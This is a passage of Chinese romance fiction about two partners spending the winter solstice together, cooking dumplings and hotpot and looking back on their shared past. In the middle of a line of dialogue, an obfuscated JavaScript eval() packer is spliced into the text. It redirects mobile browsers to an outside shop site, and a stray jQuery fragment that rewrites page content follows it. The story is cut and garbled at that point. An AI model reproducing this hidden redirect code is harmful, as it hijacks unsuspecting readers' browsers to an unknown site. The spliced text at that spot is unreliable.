冬至那天，苌斓天没亮就醒了。他轻手轻脚地从忘海怀里挣出来，把被角掖好。忘海咕哝了一声，翻了个身又睡着了。他站在床边看了片刻——忘海的睫毛在晨光里轻轻颤动着，呼吸平稳，眉头舒展，没有做噩梦。他想起很久以前忘海每晚只能睡两个小时就会惊醒，现在他能一觉睡到天亮，连苌斓起床的动静都吵不醒他。
苌斓系上围裙开始包饺子。芹菜馅的，肉是昨晚剁好的，芹菜切得碎碎的，姜末放得比平时多——忘海喜欢。和面的水温刚好，醒面的时间也刚好，每一个步骤都和当年母亲教的一模一样。他站在灶台前，把饺子皮擀开，放上馅，手指沾了点水沿着边缘抹一圈，合上，捏出褶子。动作比几年前熟练了太多，捏出来的褶子整整齐齐，大小均匀，和当年忘海养母包的一模一样。
忘海是被饺子的香气叫醒的。他披着外套走到厨房门口，看见苌斓正站在灶台前，围裙系得端端正正，头发用一根皮筋松松地扎在脑后，几缕碎发垂在耳边。阳光从厨房的小窗户里斜斜地照进来，落在他沾着面粉的手指上。锅里煮着饺子，水开了，咕嘟咕嘟冒着热气。他往锅里加了三次凉水，和忘海的父亲写在便签上的步骤一模一样。
忘海靠在门框上，看着他的背影。这个人曾经连一碗泡面都煮不好，现在能一个人张罗一桌菜；曾经半夜被噩梦惊醒需要他抱着才能重新入睡，现在每天比他起得还早，把豆浆磨好、药分好、围巾叠好放在他枕边。他想起很多年前在天台上第一次正面看苌斓——那双眼睛里全是防备和疲惫，现在那双眼睛里有光，有温度，有他。
他走过去，从背后抱住苌斓的腰，下巴搁在他肩膀上。
“早。”
“早。你头发翘了。”
“没梳。”
“看出来了。”苌斓手里继续搅着锅里的饺子，没有回头，但忘海感觉到他肩膀轻轻颤了一下——他在笑。“松手，我要加凉水。第三次了，加完就能出锅。”
忘海松开手，但没有走开，只是退后一步靠在灶台边上看着。苌斓把第三碗凉水倒进锅里，盖上锅盖，转过身来看着他。他抬手把忘海翘起来的那撮头发按下去，按了好几下才勉强压平。忘海乖乖站着让他按。
“你昨晚说梦话了。你说‘饺子馅多放姜’，我说已经放了，你说‘再放一点’。我说好好好，再放一点。然后你又睡着了。”
忘海想了想，完全没有印象。
“那到底放没放。”
“放了。你要求的，我能不放吗。”他把锅盖掀开，热气涌出来，模糊了两个人的脸。他把饺子捞出来盛进盘子里，白白胖胖的，边缘捏着整齐的褶子。
两人面对面坐在餐桌两端。忘海夹起第一个饺子咬了一口——皮薄馅大，汁水很足，姜味恰到好处。
“好吃。”
“和你妈妈包的比呢。”
忘海认真想了想。“她包的褶子是十二个，你包的是十一个。她包的比较圆，你包的比较长。但味道是一样的——姜末都放得很多。”
苌斓低头看着自己碗里的饺子。他想起很多年前在忘海家吃第一顿饺子，紧张得筷子都拿不稳。那时候他不知道该怎么面对这份善意，不知道该如何回应忘海养母那句“多吃点”。现在他能一个人包一桌饺子，能把忘海养母的配方背得滚瓜烂熟。他夹了一个饺子放进忘海碗里。
“十一个褶子。少一个是因为最后一个我忘了捏。你妈不会忘，她会把每一个饺子都捏得一模一样。我还会忘。但味道一样。”
忘海把他夹过来的饺子吃了，又夹了一个放回他碗里。
“忘了就忘了。十二个褶子也好，十一个也好，都是饺子。我妈不会在意少一个褶子。她会在意你吃没吃饱。”
吃完饭苌斓去洗碗，忘海在旁边擦盘子。水龙头哗哗地响，洗洁精的泡沫在灯光下泛着细密的七彩光。擦完最后一个盘子，苌斓把抹布挂在挂钩上。
“今天冬至，晚上吃火锅。你下班的时候买点羊肉卷和豆皮，冰箱里还有昨天剩的茼蒿。火锅底料我来炒，你上次炒糊了。”他把忘海歪掉的领口整了整，动作很轻，和很多年前母亲在玄关整他领口时一模一样。
忘海换好鞋，拎起公文包。走到门口又停下来，转过身看着苌斓。苌斓站在客厅里，围裙还没解，手上还沾着一点面粉，头发有几缕散在耳边。阳光从窗外照进来落在他肩头。
“怎么了。”
“没什么。就是觉得——你好像在发光。”
苌斓愣了一下，然后别开脸，耳根慢慢红了。他走到门口把忘海的围巾从衣架上拿下来，踮起脚绕在他脖子上，一圈，又一圈，和很久以前在路口时一模一样。
“晚上早点回来。茼蒿放久了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724411|208790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
会蔫。”
“好。”
“羊肉卷买两盒。豆皮买那种薄的，厚的不入味。”
“好。”
“路上小心。”
“好。”
忘海推开门走出去。苌斓站在门口看着他的背影消失在楼道拐角处，然后关了门，靠在门板上，低着头笑了一下。傍晚忘海下班回来，手里拎着两盒羊肉卷、一袋薄豆皮，还有一把茼蒿。苌斓接过袋子翻了一遍，满意地点了点头，然后把他按在沙发上，自己系上围裙开始炒火锅底料。花椒、干辣椒、豆瓣酱，炒得满屋子都是呛人的香气。忘海想进去帮忙，被赶了出来。
“你上次差点把锅底烧干。”
“那是水放少了。”
“反正你出去。”
忘海就真的出去了，靠在厨房门框上看他把各种食材依次下锅。餐厅的灯开得很亮，火锅咕嘟咕嘟冒着热气，红油翻滚，花椒和干辣椒在气泡里上下翻腾。两人面对面坐着，筷子在锅里打架。苌斓夹起一片羊肉卷，在油碟里涮了三下放进忘海碗里；又夹起一片，又涮了三下，又放进忘海碗里。忘海说你给自己留点。他说涮多了，吃不完。忘海没有再推辞，把羊肉都吃了。他知道这不是吃不完，这是苌斓的方式——他不会说“我爱你”，他只是把涮好的菜一筷一筷夹进你碗里。
吃完饭两人窝在沙发上。电视里放着跨年晚会，声音开得很小，窗外偶尔传来远处的烟火声。茶几上紫砂杯安静地立在杯垫上，杯口朝外，杯身上那些被胶水粘合的裂缝在灯光下泛着极淡的光泽。保温杯还是两个，一个深蓝一个浅蓝，并排放在杯垫旁边，杯盖上的磕痕还在。针线盒里灰色毛线团还剩一小半，相册放在抽屉里，戒指戴在无名指上。
“明天早上喝豆浆还是红枣茶。”
“红枣茶。冬至过了该换姜茶了。”
“好。姜茶放两颗红枣。你放姜，我放枣。”
“姜不要切太碎。”
“知道，你怕辣。”
苌斓把头靠在忘海肩上，声音越来越轻。窗外梧桐树光秃秃的枝丫在路灯下轻轻晃动，保温杯里的红枣茶还冒着热气。明天早上豆浆机还是会准时响起，围巾还是会换着戴。冬至过了就是小寒，小寒过了就是大寒，大寒过了就是立春。梧桐树会重新发芽，他们会继续站在路口等对方，和以前一样，和以后也一样。